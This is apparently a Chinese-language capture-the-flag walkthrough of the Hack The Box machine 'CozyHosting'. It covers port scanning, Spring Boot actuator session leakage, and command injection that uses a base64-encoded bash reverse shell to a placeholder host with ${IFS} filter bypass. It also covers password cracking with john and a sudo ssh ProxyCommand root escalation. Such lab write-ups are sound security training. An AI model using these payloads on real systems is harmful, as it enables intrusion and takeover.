# 来自hack the box 的靶机

难度是简单的

一.端口扫描

先使用nmap 进行端口扫描

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-31 23:42 CST
Stats: 0:00:03 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 10.10.11.230
Host is up (0.33s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://cozyhosting.htb
8083/tcp open us-srv

Nmap done: 1 IP address (1 host up) scanned in 27.66 seconds

扫描出来两个端口分别是22和80端口,那么突破口就是80端口

把扫描出来的域名加入本地hosts 文件方便解析。

二.80端口突破

1.进行目录扫描看有没有可利用的。

扫描出非常多/actuator/xxx 的文件。谷歌一下发现是springBoot相关的配置发现,进一步搜索发现了存在敏感文件泄露。

发现了后台并对这个文件感兴趣。

类似于cookie 的东西 尝试登陆

把所有的Cookie: JSESSIONID= 替换为sessions 文件中的内容,成功登陆

我们尝试发送带有单引号(test’)的用户名,它表明在“/bin/bash -c”执行过程中出现了错误。

存在命令执行漏洞。反弹shell .过滤了空格可以使用${IFS} 绕过,然后进行base64编码。和url 关键字编码。

echo "bash -i >& /dev/tcp/<your ip>/<your port> 0>&1" | base64 -w 0 

;echo${IFS%??}"<your payload here>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

成功反弹shell

通过查看文件发现了cloudhosting-0.0.1.jar 文件下载,使用jd-gui 反编译工具打开.

在application 下发现了PostgreSQL 数据库 数据库账号和密码

使用 psql -h 127.0 .0 .1 -U postgres 在目标主机上进行连接。postqres sql 基本命令

查看数据库发现了用户和密码

使用jhon 破解admin密码。

john --wordlist=/usr/share/wordlists/rockyou.txt   hash.txt 

查看home 下发现了josh用户。尝试ssh 登陆

成功登陆

提权

使用 sudo -l 发现ssh 可以免密使用root 权限。

搜索相关的ssh 提权。

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x